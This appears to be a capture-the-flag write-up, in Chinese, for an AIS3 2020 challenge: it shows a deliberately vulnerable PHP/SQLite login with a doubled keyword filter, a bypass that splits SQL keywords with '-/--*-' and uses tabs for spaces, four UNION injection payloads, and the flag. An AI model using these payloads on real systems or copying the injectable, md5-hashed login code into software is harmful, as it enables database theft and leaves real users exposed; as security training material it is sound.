// Get rid of sqlmap kiddies
if (stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) {
redirect('/', "sqlmap is child's play");
}
// Get rid of you
$bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
$username = str_ireplace($bad, '', $username);
$username = str_ireplace($bad, '', $username);
// Auth
$hash = md5($password);
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE username = '$username' AND password = '$hash'", true);
if (!$row) {
redirect('/', 'login failed');
}
$_SESSION['user'] = $row['username'];
redirect('/');
}
```
開始 SQL injection 不過要先繞過他的 `str_ireplace` * 2
先造關鍵字 在關鍵字中間插入 `-/--*-`
```
sele-/--*-ct
uni-/--*-on
fr-/--*-om
an-/--*-d
o-/--*-r
whe-/--*-re
/-/--*-*
*-/--*-/
```
再來 union select 空白用 Tab 取代即可
payload 塞在 username 密碼隨便打
以下是 payload 順序
1. `' uni-/--*-on sele-/--*-ct 1,2,3 fr-/--*-om sqlite_master/-/--*-*`
2. `' uni-/--*-on sele-/--*-ct 1,name,3 fr-/--*-om sqlite_master/-/--*-*`
3. `' uni-/--*-on sele-/--*-ct 1,value,3 fr-/--*-om garbage limit 1,1 /-/--*-*`
4. `' uni-/--*-on sele-/--*-ct 1,value,3 fr-/--*-om garbage limit 2,1 /-/--*-*`
flag: `AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}`
2020-06-10 12:31:06
留言
Last fetch: --:--
現在還沒有留言!